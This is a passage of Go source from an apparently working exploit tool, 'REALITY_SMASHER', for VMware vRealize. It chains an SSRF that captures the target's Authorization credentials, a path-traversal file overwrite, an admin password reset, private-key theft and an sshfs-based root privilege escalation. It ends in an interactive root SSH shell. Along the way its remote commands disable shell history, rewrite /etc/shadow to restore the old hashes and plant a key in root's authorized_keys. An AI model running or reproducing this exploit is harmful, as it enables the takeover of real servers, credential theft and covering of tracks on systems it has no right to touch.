if err != nil {
log.Fatal("[-] ", err)
}
defer conn.Close()
sess, err := conn.NewSession()
if err != nil {
log.Fatal("[-] ", err)
}
defer sess.Close()
stdin, err := sess.StdinPipe()
if err != nil {
log.Fatal("[-] ", err)
}
var b bytes.Buffer
sess.Stdout = &b
sess.Stderr = os.Stderr
err = sess.Shell()
if err != nil {
log.Fatal("[-] ", err)
}
for _, cmd := range commands {
_, err = fmt.Fprintf(stdin, "%s\n", cmd)
if err != nil {
log.Fatal("[-] ", err)
}
}
err = sess.Wait()
if err != nil {
log.Fatal("[-] ", err)
}
return b.String()
}
// https://gist.github.com/atotto/ba19155295d95c8d75881e145c751372
func interactiveSSHSession(config *ssh.ClientConfig, ctx context.Context) error {
conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:22", remoteAddr), config)
if err != nil {
log.Fatal("[-] ", err)
}
defer conn.Close()
sess, err := conn.NewSession()
if err != nil {
log.Fatal("[-] ", err)
}
defer sess.Close()
go func() {
<-ctx.Done()
err = conn.Close()
if err != nil {
log.Fatal("[-] ", err)
}
}()
modes := ssh.TerminalModes{
ssh.ECHO: 0,
ssh.TTY_OP_ISPEED: 14400,
ssh.TTY_OP_OSPEED: 14400,
}
term := os.Getenv("TERM")
if term == "" {
term = "xterm-256color"
}
err = sess.RequestPty(term, 40, 80, modes)
if err != nil {
log.Fatal("[-] ", err)
}
sess.Stdout = os.Stdout
sess.Stderr = os.Stderr
sess.Stdin = os.Stdin
err = sess.Shell()
if err != nil {
log.Fatal("[-] ", err)
}
err = sess.Wait()
if err != nil {
if e, ok := err.(*ssh.ExitError); ok {
switch e.ExitStatus() {
case 130:
return nil
}
}
log.Fatal("[-] ", err)
}
return nil
}
func main() {
art := `
.· · . · ·. ·. · .
. .· .. ·
.
··.
. . ·.
`
fmt.Println(art)
fmt.Printf("### REALITY_SMASHER // vRealize RCE + Privesc (CVE-2021-21975, CVE-2021-21983, CVE-0DAY-?????) ###\n\n")
log.SetFlags(0)
flag.StringVar(&remoteAddr, "r", "", "Remote Address (required) // This is your target. This is the only required option.")
flag.IntVar(&remotePort, "rp", 443, "Remote Port // This may be useful if vRealize is only accessible on a port other than \"443\".")
flag.StringVar(&localAddr, "l", "", "Local Address // This option may be useful if you wish to listen on a different interface.") // ?
flag.IntVar(&localPort, "lp", 0, "Local Port // This determines the port on which to host the SSRF listener. Useful for bypassing firewalls.") // ?
flag.StringVar(&credentials, "b", "", "Basic Auth String // e.g. \"Basic YWRtaW46YWRtaW4=\". This may be useful if you don't have SSRF but have credentials and want a root SSH shell.")
flag.BoolVar(&exploit, "x", false, "Exploit // This is disabled by default, limiting functionality to a vulnerability check.")
flag.BoolVar(&verbose, "v", false, "Verbose // Print statements.")
flag.Usage = func () { fmt.Printf("Usage: \"%s\" -r REMOTE_ADDRESS\n\n" +
"\t-r\t\t%s\n\n" +
"\t-rp\t\t%s\n\n" +
"\t-l\t\t%s\n\n" +
"\t-lp\t\t%s\n\n" +
"\t-b\t\t%s\n\n" +
"\t-x\t\t%s\n\n" +
"\t-v\t\t%s\n\n" +
"\nAuthor: rabidwh0re\n",
os.Args[0],
flag.Lookup("r").Usage,
flag.Lookup("rp").Usage,
flag.Lookup("l").Usage,
flag.Lookup("lp").Usage,
flag.Lookup("b").Usage,
flag.Lookup("x").Usage,
flag.Lookup("v").Usage)
}
flag.Parse()
if remoteAddr == "" {
log.Fatal("[-] Remote Address must be set!")
}
http.DefaultTransport.(*http.Transport).TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
if verbose {
fmt.Println("[*] Fetching Outbound Address ...")
}
if localAddr == "" {
localAddr = getOutboundIP(remoteAddr)
}
if verbose {
fmt.Printf("localAddr=%s\n", localAddr)
}
listener, err := net.Listen("tcp", fmt.Sprintf("%s:%d", localAddr, localPort))
if err != nil {
log.Fatal("[-] ", err)
}
localPort = listener.Addr().(*net.TCPAddr).Port
var url, data string
var req *http.Request
var client = &http.Client{}
var server = &http.Server{}
if credentials == "" {
if verbose {
fmt.Printf("[*] Starting SSRF Listener (%s:%d)\n", localAddr, localPort)
}
go func() {
http.HandleFunc("/", ssrfHandler)
err = server.ServeTLS(listener,"server.crt", "server.key")
if err != nil {
if err.Error() != "http: Server closed" {
log.Fatal("[-] ", err)
}
}
}()
if verbose {
fmt.Println("[*] Triggering SSRF Request (CVE-2021-21975) ...")
}
url = fmt.Sprintf("https://%s:%d/casa/nodes/thumbprints", remoteAddr, remotePort)
data = fmt.Sprintf("[\"%s:%d\"]", localAddr, localPort)
req, err = http.NewRequest(http.MethodPost, url, strings.NewReader(data))
if err != nil {
log.Fatal("[-] ", err)
}
req.Header.Set("Host", remoteAddr)
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
req.Header.Set("Connection", "close")
_, err = client.Do(req)
if err != nil {
log.Fatal("[-] ", err)
}
for i := 0; i < 5 && !vulnerable; i++ {
time.Sleep(2000)
}
err = server.Shutdown(context.Background())
if err != nil {
log.Fatal("[-] ", err)
}
if !vulnerable {
log.Fatal("[-] Target does not appear to be vulnerable!")
}
if verbose {
fmt.Println("[*] Checking SSRF Request for Authorization Credential Leak ...")
}
if credentials == "" {
log.Fatal("[-] No Authorization Credentials Found!")
}
}
if verbose {
fmt.Printf("Authorization: %s\n", credentials)
}
if verbose {
fmt.Println("[*] Sending Password Synchronization Request ...")
}
url = fmt.Sprintf("https://%s:%d/casa/cluster/security/private/passwordsync", remoteAddr, remotePort)
req, err = http.NewRequest(http.MethodGet, url, nil)
if err != nil {
log.Fatal("[-] ", err)
}
req.Header.Set("Host", remoteAddr)
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
req.Header.Set("Connection", "close")
resp, err := client.Do(req)
if err != nil {
log.Fatal("[-] ", err)
}
b, err := ioutil.ReadAll(resp.Body)
if resp.StatusCode != 200 {
log.Fatal("[-] ", resp.Status, string(b))
}
if verbose {
fmt.Println(resp.Status)
}
var PasswordSyncData map[string]interface{}
err = json.Unmarshal(b, &PasswordSyncData)
if err != nil {
log.Fatal("[-] ", err)
}
if verbose {
fmt.Println("[*] Extracting Hashed Passwords ...")
}
var username = "admin"
var osHashedPassword, adminHashedPassword string
var ok bool
if PasswordSyncData["os_user_data"] != nil {
username, ok = PasswordSyncData["os_user_data"].(map[string]interface{})["username"].(string)
if !ok {
if verbose {
fmt.Println("[-] Failed to Extract Username!")
}
}
}
if PasswordSyncData["os_user_data"] != nil {
osHashedPassword, ok = PasswordSyncData["os_user_data"].(map[string]interface{})["hashed_password"].(string)
if !ok {
if verbose {
fmt.Println("[-] Failed to Extract OS Hashed Password!")
}
}
}
if PasswordSyncData["admin_user_data"] != nil {
adminHashedPassword, ok = PasswordSyncData["admin_user_data"].(map[string]interface{})["hashed_password"].(string)
if !ok {
if verbose {
fmt.Println("[-] Failed to Extract Admin Hashed Password!")
}
}
}
if verbose {
fmt.Printf("username: %s\nosHashedPassword: %s\nadminHashedPassword: %s\n", username, osHashedPassword, adminHashedPassword)
}
if !exploit && vulnerable {
log.Fatalf("[!] VULNERABLE TARGET -> %s:%d\n\nRun \"%s\" with the \"-x\" flag to launch exploit.\n", remoteAddr, remotePort, os.Args[0])
}
if username == "" || osHashedPassword == "" || adminHashedPassword == "" {
response := requestConfirmation("Would you like to continue without hash restoration? (Y/N): ")
if !response {
log.Fatal("[-] Abort! ")
}
restore = false
}
if verbose {
fmt.Printf("username: %s\nosHashedPassword: %s\nadminHashedPassword: %s\n", username, osHashedPassword, adminHashedPassword)
}
var isSSHEnabled bool
for i := 0; i < 3 && !isSSHEnabled; i++ {
if verbose {
fmt.Printf("[*] Sending SSH Enable Request ...\n")
}
url = fmt.Sprintf("https://%s:%d/casa/ssh/enable", remoteAddr, remotePort)
req, err = http.NewRequest(http.MethodPost, url, nil)
if err != nil {
if verbose {
log.Println("[-] ", err)
}
}
req.Header.Set("Host", remoteAddr)
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
req.Header.Set("Connection", "close")
resp, err = client.Do(req)
if err != nil {
if verbose {
log.Println("[-] ", err)
}
}
b, err = ioutil.ReadAll(resp.Body)
if resp.StatusCode != 200 {
if verbose {
log.Println("[-] ", resp.Status, string(b))
}
}
var SshEnableDisableVO map[string]bool
err = json.Unmarshal(b, &SshEnableDisableVO)
if err != nil {
if verbose {
log.Println("[-] ", err)
}
}
isSSHEnabled, ok = SshEnableDisableVO["is_ssh_enabled"]
if !ok || !isSSHEnabled {
if verbose {
log.Printf("[-] Failed to Enabled SSH! Retrying ...")
}
time.Sleep(3000)
continue
}
if verbose {
fmt.Println(string(b))
}
}
if !isSSHEnabled {
log.Fatal("[-] Failed to Enabled SSH!")
}
if verbose {
fmt.Println("[*] Triggering Credential Overwrite (CVE-2021-21983?) ...")
}
url = fmt.Sprintf("https://%s:%d/casa/private/config/slice/ha/certificate?name=../../../../vcops/user/conf/adminuser.properties", remoteAddr, remotePort)
multipartFormData := new(bytes.Buffer)
writer := multipart.NewWriter(multipartFormData)
mediaHeader := textproto.MIMEHeader{}
mediaHeader.Set("Content-Disposition", "form-data; name=\"file\"; filename=\"adminuser.properties\"")
mediaHeader.Set("Content-Type", "application/octet-stream")
_, err = writer.CreatePart(mediaHeader)
if err != nil {
log.Fatal("[-] ", err)
}
err = writer.Close()
if err != nil {
log.Fatal("[-] ", err)
}
req, err = http.NewRequest(http.MethodPost, url, multipartFormData)
if err != nil {
log.Fatal("[-] ", err)
}
req.Header.Set("Host", remoteAddr)
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
req.Header.Set("Content-Type", fmt.Sprintf( "multipart/form-data; boundary=%s", writer.Boundary()))
req.Header.Set("Connection", "close")
resp, err = client.Do(req)
if err != nil {
log.Fatal("[-] ", err)
}
b, err = ioutil.ReadAll(resp.Body)
if resp.StatusCode != 200 {
log.Fatal("[-] ", resp.Status, string(b))
}
if verbose {
fmt.Println(resp.Status)
}
if verbose {
fmt.Println("[*] Generating New Password ...")
}
password := fmt.Sprintf("Aa1@%s", randomString())
if verbose {
fmt.Printf("%s\n", password)
}
if verbose {
fmt.Println("[*] Sending Admin Password Initialization Request ...")
}
url = fmt.Sprintf("https://%s:%d/casa/security/adminpassword/initial", remoteAddr, remotePort)
data = fmt.Sprintf("{\"password\":\"%s\"}", password)
req, err = http.NewRequest(http.MethodPut, url, strings.NewReader(data))
if err != nil {
log.Fatal("[-] ", err)
}
req.Header.Set("Host", remoteAddr)
req.Header.Set("Authorization", fmt.Sprintf("%s", credentials))
req.Header.Set("Content-Type", "application/json; charset=UTF-8")
req.Header.Set("Connection", "close")
resp, err = client.Do(req)
if err != nil {
log.Fatal("[-] ", err)
}
if resp.StatusCode != 200 {
b, err = ioutil.ReadAll(resp.Body)
log.Fatal("[-] ", string(b))
}
if verbose {
fmt.Println(resp.Status)
}
if verbose {
fmt.Printf("[*] Validating SSH Access (%s@%s) ...\n", username, remoteAddr)
}
config := &ssh.ClientConfig{
User: username,
Auth: []ssh.AuthMethod{ssh.Password(password)},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
}
result := executeSSHCommands(config, []string{
"set +o history",
"uname -a",
"id",
"exit",
})
if verbose {
fmt.Println(result)
}
if verbose {
fmt.Printf("[*] Provisioning SSH Key Pair (%s@%s) ...\n", username, remoteAddr)
}
result = executeSSHCommands(config, []string{
"set +o history",
"HOSTNAME=`hostname` stat $HOME/.ssh/id_rsa >/dev/null 2>&1 && cat $HOME/.ssh/id_rsa || (ssh-keygen -t rsa -C \"$HOSTNAME\" -f \"$HOME/.ssh/id_rsa\" -P \"\" 1>/dev/null && cat \"$HOME/.ssh/id_rsa\")",
"exit",
})
privateKey := result
if verbose {
fmt.Println(privateKey)
}
if verbose {
fmt.Printf("[*] Triggering Root Privilege Escalation (%s@%s) (CVE-0DAY-?????) ...\n", username, remoteAddr)
}
executeSSHCommands(config, []string{
"set +o history",
"echo 'grep -q -f /home/admin/.ssh/id_rsa.pub /root/.ssh/authorized_keys || cat /home/admin/.ssh/id_rsa.pub >> /root/.ssh/authorized_keys' > /home/admin/privesc.sh",
"echo 'sed -i \"s/PermitRootLogin no/PermitRootLogin yes/\" /etc/ssh/sshd_config' >> /home/admin/privesc.sh",
"echo 'timeout 10s bash -c \"until service sshd restart; do sleep 1; done;\"' >> /home/admin/privesc.sh",
"sudo /usr/bin/sshfs -o allow_other -o password_stdin -o StrictHostKeyChecking\\=no -o UserKnownHostsFile\\=/dev/null admin@localhost:/ /tmp/ -o ssh_command\\='bash /home/admin/privesc.sh #' 2>/dev/null <<< X",
"rm /home/admin/privesc.sh",
"exit",
})
if verbose {
fmt.Printf("[*] Validating Privileged SSH Access (root@%s) ...\n", remoteAddr)
}
signer, err := ssh.ParsePrivateKey([]byte(privateKey))
if err != nil {
log.Fatal("[-] ", resp.Status)
}
config = &ssh.ClientConfig{
User: "root",
Auth: []ssh.AuthMethod{
ssh.PublicKeys(signer),
},
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
Timeout: time.Minute,
}
result = executeSSHCommands(config, []string{
"set +o history",
"id",
"exit",
})
if verbose {
fmt.Println(result)
}
if restore {
if verbose {
fmt.Printf("[*] Restoring Hashed Passwords (root@%s) ...\n", remoteAddr)
}
sanitizedAdminHashedPassword := strings.Replace(adminHashedPassword, "/", "\\/", -1)
sanitizedAdminHashedPassword = strings.Replace(sanitizedAdminHashedPassword, "=", "\\\\=", -1)
sanitizedOSHashedPassword := strings.Replace(osHashedPassword, "/", "\\/", -1)
executeSSHCommands(config, []string{
"set +o history",
fmt.Sprintf("sed -i 's/hashed_password=.*/hashed_password=%s/' /storage/vcops/user/conf/adminuser.properties", sanitizedAdminHashedPassword),
fmt.Sprintf("sed -i 's/admin:[^:]*/admin:%s/' /etc/shadow", sanitizedOSHashedPassword),
"exit",
})
}
if verbose {
fmt.Printf("[*] Initiating Interactive SSH Session (root@%s) ...\n", remoteAddr)
}
sig := make(chan os.Signal, 1)
signal.Notify(sig, os.Interrupt, syscall.SIGTERM, syscall.SIGINT)
ctx, cancel := context.WithCancel(context.Background())
go func() {
err = interactiveSSHSession(config, ctx)
if err != nil {
log.Fatal("[-] ", err)
}
cancel()
}()
select {
case <-sig:
cancel()
case <-ctx.Done():
}
}